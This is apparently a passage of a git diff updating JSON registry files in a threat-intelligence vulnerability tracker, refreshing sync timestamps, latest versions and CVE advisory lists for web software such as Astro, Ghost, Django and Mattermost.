@@ -54,11 +56,11 @@
"history_backfill_status": "complete",
"latest_sync_status": "green",
"official_source_covered": true,
- "advisory_count": 12,
- "workflow_complete_advisory_count": 12,
- "version_mapped_advisory_count": 12,
+ "advisory_count": 13,
+ "workflow_complete_advisory_count": 13,
+ "version_mapped_advisory_count": 13,
"first_advisory_at": "2024-12-18T15:02:37+00:00",
- "latest_advisory_at": "2026-02-04T03:01:27+00:00",
+ "latest_advisory_at": "2026-03-26T19:01:26+00:00",
"advisory_ids": [
"astro--CVE-2024-56140",
"astro--CVE-2024-56159",
@@ -71,7 +73,8 @@
"astro--CVE-2025-64757",
"astro--CVE-2025-64765",
"astro--CVE-2025-65019",
- "astro--CVE-2025-66202"
+ "astro--CVE-2025-66202",
+ "astro--CVE-2026-33769"
],
"source_refs": []
}
diff --git a/08-threat-intel/registry/entities/astro.json b/08-threat-intel/registry/entities/astro.json
index b3808823..9e47bf00 100644
--- a/08-threat-intel/registry/entities/astro.json
+++ b/08-threat-intel/registry/entities/astro.json
@@ -12,14 +12,14 @@
"repo_url": "",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"version_scheme": "vendor",
"latest_release_at": "2025-11-20T14:43:59.624508Z",
"latest_release_url": "https://www.npmjs.com/package/astro",
"version_source_refs": [],
"version_sync_status": "green",
- "security_version_count": 30,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "security_version_count": 32,
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -29,11 +29,11 @@
"history_backfill_status": "complete",
"latest_sync_status": "green",
"official_source_covered": true,
- "advisory_count": 14,
- "workflow_complete_advisory_count": 14,
- "version_mapped_advisory_count": 14,
+ "advisory_count": 15,
+ "workflow_complete_advisory_count": 15,
+ "version_mapped_advisory_count": 15,
"first_advisory_at": "2024-10-14T20:02:21+00:00",
- "latest_advisory_at": "2026-02-04T03:01:27+00:00",
+ "latest_advisory_at": "2026-03-26T19:01:26+00:00",
"advisory_ids": [
"astro--CVE-2024-47885",
"astro--CVE-2024-56140",
@@ -48,7 +48,8 @@
"astro--CVE-2025-64764",
"astro--CVE-2025-64765",
"astro--CVE-2025-65019",
- "astro--CVE-2025-66202"
+ "astro--CVE-2025-66202",
+ "astro--CVE-2026-33769"
],
"source_refs": [
{
diff --git a/08-threat-intel/registry/entities/caddy--extension--github-com-caddyserver-caddy-v2.json b/08-threat-intel/registry/entities/caddy--extension--github-com-caddyserver-caddy-v2.json
index a4fcafe6..849f22bf 100644
--- a/08-threat-intel/registry/entities/caddy--extension--github-com-caddyserver-caddy-v2.json
+++ b/08-threat-intel/registry/entities/caddy--extension--github-com-caddyserver-caddy-v2.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/caddyserver/caddy/security/advisories/GHSA-5r3v-vc8m-m96g",
diff --git a/08-threat-intel/registry/entities/caddy--repo--github-com-caddyserver-caddy-v2.json b/08-threat-intel/registry/entities/caddy--repo--github-com-caddyserver-caddy-v2.json
index 22576527..52b16552 100644
--- a/08-threat-intel/registry/entities/caddy--repo--github-com-caddyserver-caddy-v2.json
+++ b/08-threat-intel/registry/entities/caddy--repo--github-com-caddyserver-caddy-v2.json
@@ -24,7 +24,7 @@
],
"version_sync_status": "green",
"security_version_count": 5,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/caddyserver/caddy/security/advisories/GHSA-4xrr-hq4w-6vf4",
diff --git a/08-threat-intel/registry/entities/caddy.json b/08-threat-intel/registry/entities/caddy.json
index b370c69a..539d648f 100644
--- a/08-threat-intel/registry/entities/caddy.json
+++ b/08-threat-intel/registry/entities/caddy.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 7,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/directus--repo--directus-directus.json b/08-threat-intel/registry/entities/directus--repo--directus-directus.json
index 3e7d3708..45d59759 100644
--- a/08-threat-intel/registry/entities/directus--repo--directus-directus.json
+++ b/08-threat-intel/registry/entities/directus--repo--directus-directus.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 1,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Directus GitHub Advisories"
diff --git a/08-threat-intel/registry/entities/directus.json b/08-threat-intel/registry/entities/directus.json
index b9f15dd1..66fe60ab 100644
--- a/08-threat-intel/registry/entities/directus.json
+++ b/08-threat-intel/registry/entities/directus.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 1,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Directus GitHub Advisories"
],
diff --git a/08-threat-intel/registry/entities/discourse.json b/08-threat-intel/registry/entities/discourse.json
index 32e9c498..cf782834 100644
--- a/08-threat-intel/registry/entities/discourse.json
+++ b/08-threat-intel/registry/entities/discourse.json
@@ -34,7 +34,7 @@
],
"version_sync_status": "green",
"security_version_count": 80,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Discourse Release Notes RSS",
"Discourse Security RSS"
diff --git a/08-threat-intel/registry/entities/django--project--django.json b/08-threat-intel/registry/entities/django--project--django.json
index 953fce80..c088666f 100644
--- a/08-threat-intel/registry/entities/django--project--django.json
+++ b/08-threat-intel/registry/entities/django--project--django.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 160,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://nvd.nist.gov/vuln/detail/CVE-2019-11358"
diff --git a/08-threat-intel/registry/entities/django.json b/08-threat-intel/registry/entities/django.json
index 452e1f49..7f7c2eeb 100644
--- a/08-threat-intel/registry/entities/django.json
+++ b/08-threat-intel/registry/entities/django.json
@@ -38,7 +38,7 @@
],
"version_sync_status": "green",
"security_version_count": 160,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Django Security Weblog",
"Django Security Releases Archive"
diff --git a/08-threat-intel/registry/entities/drupal.json b/08-threat-intel/registry/entities/drupal.json
index 9ef8d4c2..f9b0fdd4 100644
--- a/08-threat-intel/registry/entities/drupal.json
+++ b/08-threat-intel/registry/entities/drupal.json
@@ -27,7 +27,7 @@
],
"version_sync_status": "green",
"security_version_count": 74,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Drupal Security Advisories RSS"
],
diff --git a/08-threat-intel/registry/entities/echo--repo--github-com-labstack-echo-v4.json b/08-threat-intel/registry/entities/echo--repo--github-com-labstack-echo-v4.json
index b08e5359..f59a3ca0 100644
--- a/08-threat-intel/registry/entities/echo--repo--github-com-labstack-echo-v4.json
+++ b/08-threat-intel/registry/entities/echo--repo--github-com-labstack-echo-v4.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/labstack/echo/pull/1718",
diff --git a/08-threat-intel/registry/entities/echo.json b/08-threat-intel/registry/entities/echo.json
index f3d6d46d..16bfb612 100644
--- a/08-threat-intel/registry/entities/echo.json
+++ b/08-threat-intel/registry/entities/echo.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/esbuild--project--esbuild.json b/08-threat-intel/registry/entities/esbuild--project--esbuild.json
index 451782f1..9941d3c8 100644
--- a/08-threat-intel/registry/entities/esbuild--project--esbuild.json
+++ b/08-threat-intel/registry/entities/esbuild--project--esbuild.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99"
diff --git a/08-threat-intel/registry/entities/esbuild.json b/08-threat-intel/registry/entities/esbuild.json
index f5fd2e3d..d549582f 100644
--- a/08-threat-intel/registry/entities/esbuild.json
+++ b/08-threat-intel/registry/entities/esbuild.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/express.json b/08-threat-intel/registry/entities/express.json
index f71c371a..ed64b63f 100644
--- a/08-threat-intel/registry/entities/express.json
+++ b/08-threat-intel/registry/entities/express.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/fastify--project--fastify.json b/08-threat-intel/registry/entities/fastify--project--fastify.json
index ff0154c6..4e3b805f 100644
--- a/08-threat-intel/registry/entities/fastify--project--fastify.json
+++ b/08-threat-intel/registry/entities/fastify--project--fastify.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/fastify/fastify/security/advisories/GHSA-573f-x89g-hqp9",
diff --git a/08-threat-intel/registry/entities/fastify.json b/08-threat-intel/registry/entities/fastify.json
index 7cc2788e..dceb6334 100644
--- a/08-threat-intel/registry/entities/fastify.json
+++ b/08-threat-intel/registry/entities/fastify.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/flask--project--flask.json b/08-threat-intel/registry/entities/flask--project--flask.json
index 0c46ad7e..d63f4aee 100644
--- a/08-threat-intel/registry/entities/flask--project--flask.json
+++ b/08-threat-intel/registry/entities/flask--project--flask.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/pallets/flask/security/advisories/GHSA-68rp-wp8r-4726"
diff --git a/08-threat-intel/registry/entities/flask.json b/08-threat-intel/registry/entities/flask.json
index 27595ce5..016a7855 100644
--- a/08-threat-intel/registry/entities/flask.json
+++ b/08-threat-intel/registry/entities/flask.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/ghost--repo--tryghost-ghost.json b/08-threat-intel/registry/entities/ghost--repo--tryghost-ghost.json
index 11be9b72..3f9a73ed 100644
--- a/08-threat-intel/registry/entities/ghost--repo--tryghost-ghost.json
+++ b/08-threat-intel/registry/entities/ghost--repo--tryghost-ghost.json
@@ -12,17 +12,18 @@
"repo_url": "https://github.com/TryGhost/Ghost",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "6.22.1",
+ "latest_version": "6.23.0",
"version_scheme": "semver-ish",
- "latest_release_at": "2026-03-20T15:25:05Z",
- "latest_release_url": "https://github.com/TryGhost/Ghost/releases/tag/v6.22.1",
+ "latest_release_at": "2026-03-26T15:04:27Z",
+ "latest_release_url": "https://github.com/TryGhost/Ghost/releases/tag/v6.23.0",
"version_source_refs": [
"https://github.com/TryGhost/Ghost/releases/tag/v6.22.1",
- "https://github.com/login?return_to=%2FTryGhost%2FGhost"
+ "https://github.com/login?return_to=%2FTryGhost%2FGhost",
+ "https://github.com/TryGhost/Ghost/releases/tag/v6.23.0"
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Ghost GitHub Advisories"
diff --git a/08-threat-intel/registry/entities/ghost.json b/08-threat-intel/registry/entities/ghost.json
index 305a1bbb..60cf9230 100644
--- a/08-threat-intel/registry/entities/ghost.json
+++ b/08-threat-intel/registry/entities/ghost.json
@@ -12,16 +12,16 @@
"repo_url": "",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "6.22.1",
+ "latest_version": "6.23.0",
"version_scheme": "vendor",
- "latest_release_at": "2026-03-20T15:25:05Z",
- "latest_release_url": "https://github.com/TryGhost/Ghost/releases/tag/v6.22.1",
+ "latest_release_at": "2026-03-26T15:04:27Z",
+ "latest_release_url": "https://github.com/TryGhost/Ghost/releases/tag/v6.23.0",
"version_source_refs": [
"https://github.com/login?return_to=%2FTryGhost%2FGhost"
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Ghost GitHub Advisories"
],
diff --git a/08-threat-intel/registry/entities/gin--repo--github-com-gin-gonic-gin.json b/08-threat-intel/registry/entities/gin--repo--github-com-gin-gonic-gin.json
index 1a107d24..08b239b4 100644
--- a/08-threat-intel/registry/entities/gin--repo--github-com-gin-gonic-gin.json
+++ b/08-threat-intel/registry/entities/gin--repo--github-com-gin-gonic-gin.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://nvd.nist.gov/vuln/detail/CVE-2020-28483",
diff --git a/08-threat-intel/registry/entities/gin.json b/08-threat-intel/registry/entities/gin.json
index c4c166fc..d5fddedd 100644
--- a/08-threat-intel/registry/entities/gin.json
+++ b/08-threat-intel/registry/entities/gin.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/gitea.json b/08-threat-intel/registry/entities/gitea.json
index 0f7b3614..80669fe7 100644
--- a/08-threat-intel/registry/entities/gitea.json
+++ b/08-threat-intel/registry/entities/gitea.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/gitlab-ce.json b/08-threat-intel/registry/entities/gitlab-ce.json
index 4c138855..53920f7f 100644
--- a/08-threat-intel/registry/entities/gitlab-ce.json
+++ b/08-threat-intel/registry/entities/gitlab-ce.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 627,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitLab Security Releases Atom"
],
diff --git a/08-threat-intel/registry/entities/grafana.json b/08-threat-intel/registry/entities/grafana.json
index 905e4461..3c900f3b 100644
--- a/08-threat-intel/registry/entities/grafana.json
+++ b/08-threat-intel/registry/entities/grafana.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/hapi--package--hapi-hapi.json b/08-threat-intel/registry/entities/hapi--package--hapi-hapi.json
index 2ae3fe0f..1171cccf 100644
--- a/08-threat-intel/registry/entities/hapi--package--hapi-hapi.json
+++ b/08-threat-intel/registry/entities/hapi--package--hapi-hapi.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://www.npmjs.com/advisories/1482"
diff --git a/08-threat-intel/registry/entities/hapi.json b/08-threat-intel/registry/entities/hapi.json
index 4b55d855..e302cb4e 100644
--- a/08-threat-intel/registry/entities/hapi.json
+++ b/08-threat-intel/registry/entities/hapi.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/haproxy.json b/08-threat-intel/registry/entities/haproxy.json
index 43cb8ec1..f1da8fb4 100644
--- a/08-threat-intel/registry/entities/haproxy.json
+++ b/08-threat-intel/registry/entities/haproxy.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"HAProxy Blog Feed"
],
diff --git a/08-threat-intel/registry/entities/jenkins.json b/08-threat-intel/registry/entities/jenkins.json
index 089d28ef..e8285e36 100644
--- a/08-threat-intel/registry/entities/jenkins.json
+++ b/08-threat-intel/registry/entities/jenkins.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/joomla.json b/08-threat-intel/registry/entities/joomla.json
index 8a69a490..4bf15ac0 100644
--- a/08-threat-intel/registry/entities/joomla.json
+++ b/08-threat-intel/registry/entities/joomla.json
@@ -25,7 +25,7 @@
],
"version_sync_status": "green",
"security_version_count": 5,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Joomla Security Centre"
],
diff --git a/08-threat-intel/registry/entities/kibana.json b/08-threat-intel/registry/entities/kibana.json
index 1254857b..0042d585 100644
--- a/08-threat-intel/registry/entities/kibana.json
+++ b/08-threat-intel/registry/entities/kibana.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/koa--project--koa.json b/08-threat-intel/registry/entities/koa--project--koa.json
index 9d7a2da8..028274fe 100644
--- a/08-threat-intel/registry/entities/koa--project--koa.json
+++ b/08-threat-intel/registry/entities/koa--project--koa.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm"
diff --git a/08-threat-intel/registry/entities/koa.json b/08-threat-intel/registry/entities/koa.json
index abef3035..4feaa7e3 100644
--- a/08-threat-intel/registry/entities/koa.json
+++ b/08-threat-intel/registry/entities/koa.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/laravel--package--laravel-framework.json b/08-threat-intel/registry/entities/laravel--package--laravel-framework.json
index 4a294ba9..a3939d22 100644
--- a/08-threat-intel/registry/entities/laravel--package--laravel-framework.json
+++ b/08-threat-intel/registry/entities/laravel--package--laravel-framework.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 103,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Packagist p2",
"https://github.com/laravel/framework/security/advisories/GHSA-66hf-2p6w-jqfw"
diff --git a/08-threat-intel/registry/entities/laravel.json b/08-threat-intel/registry/entities/laravel.json
index 8329bfcf..94e7d0b9 100644
--- a/08-threat-intel/registry/entities/laravel.json
+++ b/08-threat-intel/registry/entities/laravel.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 103,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/magento-open-source--repo--magento-magento2.json b/08-threat-intel/registry/entities/magento-open-source--repo--magento-magento2.json
index fc082a46..6faf8f35 100644
--- a/08-threat-intel/registry/entities/magento-open-source--repo--magento-magento2.json
+++ b/08-threat-intel/registry/entities/magento-open-source--repo--magento-magento2.json
@@ -25,7 +25,7 @@
],
"version_sync_status": "green",
"security_version_count": 3,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Sansec Research"
diff --git a/08-threat-intel/registry/entities/magento-open-source.json b/08-threat-intel/registry/entities/magento-open-source.json
index ffa2ecfc..feb22504 100644
--- a/08-threat-intel/registry/entities/magento-open-source.json
+++ b/08-threat-intel/registry/entities/magento-open-source.json
@@ -24,7 +24,7 @@
],
"version_sync_status": "green",
"security_version_count": 3,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Sansec Research"
],
diff --git a/08-threat-intel/registry/entities/mattermost--plugin--mattermost-plugins.json b/08-threat-intel/registry/entities/mattermost--plugin--mattermost-plugins.json
index 4cb9918d..79634fd1 100644
--- a/08-threat-intel/registry/entities/mattermost--plugin--mattermost-plugins.json
+++ b/08-threat-intel/registry/entities/mattermost--plugin--mattermost-plugins.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 759,
- "last_version_synced_at": "2026-03-26T10:20:24+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:49+00:00",
"latest_version_evidence": [
"Mattermost Security Updates JSON",
"https://securityupdates.mattermost.com/security_updates.json",
diff --git a/08-threat-intel/registry/entities/mattermost--project--issue-platform.json b/08-threat-intel/registry/entities/mattermost--project--issue-platform.json
index eb50576b..9a47bb62 100644
--- a/08-threat-intel/registry/entities/mattermost--project--issue-platform.json
+++ b/08-threat-intel/registry/entities/mattermost--project--issue-platform.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 756,
- "last_version_synced_at": "2026-03-26T10:20:24+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:49+00:00",
"latest_version_evidence": [
"Mattermost Security Updates JSON",
"https://securityupdates.mattermost.com/security_updates.json",
diff --git a/08-threat-intel/registry/entities/mattermost--project--mattermost-server.json b/08-threat-intel/registry/entities/mattermost--project--mattermost-server.json
index bac3b47c..03eb5bf2 100644
--- a/08-threat-intel/registry/entities/mattermost--project--mattermost-server.json
+++ b/08-threat-intel/registry/entities/mattermost--project--mattermost-server.json
@@ -21,7 +21,7 @@
],
"version_sync_status": "green",
"security_version_count": 764,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"Mattermost Security Updates JSON",
"advisory-fixed-version",
diff --git a/08-threat-intel/registry/entities/mattermost--repo--github-com-mattermost-mattermost-server.json b/08-threat-intel/registry/entities/mattermost--repo--github-com-mattermost-mattermost-server.json
index d7a7b0d6..d3820b64 100644
--- a/08-threat-intel/registry/entities/mattermost--repo--github-com-mattermost-mattermost-server.json
+++ b/08-threat-intel/registry/entities/mattermost--repo--github-com-mattermost-mattermost-server.json
@@ -30,11 +30,13 @@
"https://nvd.nist.gov/vuln/detail/CVE-2026-25780",
"https://nvd.nist.gov/vuln/detail/CVE-2026-2578",
"https://nvd.nist.gov/vuln/detail/CVE-2026-2455",
- "https://nvd.nist.gov/vuln/detail/CVE-2026-24458"
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-24458",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-25783"
],
"version_sync_status": "green",
- "security_version_count": 810,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "security_version_count": 818,
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://nvd.nist.gov/vuln/detail/CVE-2026-22545",
@@ -49,7 +51,9 @@
"https://nvd.nist.gov/vuln/detail/CVE-2026-25780",
"https://nvd.nist.gov/vuln/detail/CVE-2026-2578",
"https://nvd.nist.gov/vuln/detail/CVE-2026-2455",
- "https://nvd.nist.gov/vuln/detail/CVE-2026-24458"
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-24458",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-25783"
],
"catalog_source": "",
"catalog_reason": "",
@@ -59,22 +63,24 @@
"history_backfill_status": "seeded",
"latest_sync_status": "green",
"official_source_covered": true,
- "advisory_count": 12,
- "workflow_complete_advisory_count": 12,
- "version_mapped_advisory_count": 12,
+ "advisory_count": 14,
+ "workflow_complete_advisory_count": 14,
+ "version_mapped_advisory_count": 14,
"first_advisory_at": "2026-03-16T15:30:42+00:00",
- "latest_advisory_at": "2026-03-23T18:56:23+00:00",
+ "latest_advisory_at": "2026-03-26T21:11:24+00:00",
"advisory_ids": [
"mattermost--CVE-2026-21386",
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/entities/mattermost.json b/08-threat-intel/registry/entities/mattermost.json
index 0362bd58..2db6495c 100644
--- a/08-threat-intel/registry/entities/mattermost.json
+++ b/08-threat-intel/registry/entities/mattermost.json
@@ -20,8 +20,8 @@
"https://securityupdates.mattermost.com/security_updates.json"
],
"version_sync_status": "green",
- "security_version_count": 3089,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "security_version_count": 3097,
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Mattermost Security Updates JSON"
],
@@ -33,22 +33,24 @@
"history_backfill_status": "complete",
"latest_sync_status": "green",
"official_source_covered": true,
- "advisory_count": 31,
- "workflow_complete_advisory_count": 31,
- "version_mapped_advisory_count": 31,
+ "advisory_count": 33,
+ "workflow_complete_advisory_count": 33,
+ "version_mapped_advisory_count": 33,
"first_advisory_at": "2026-02-23T00:00:00+00:00",
- "latest_advisory_at": "2026-03-23T18:56:23+00:00",
+ "latest_advisory_at": "2026-03-26T21:11:24+00:00",
"advisory_ids": [
"mattermost--CVE-2026-21386",
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
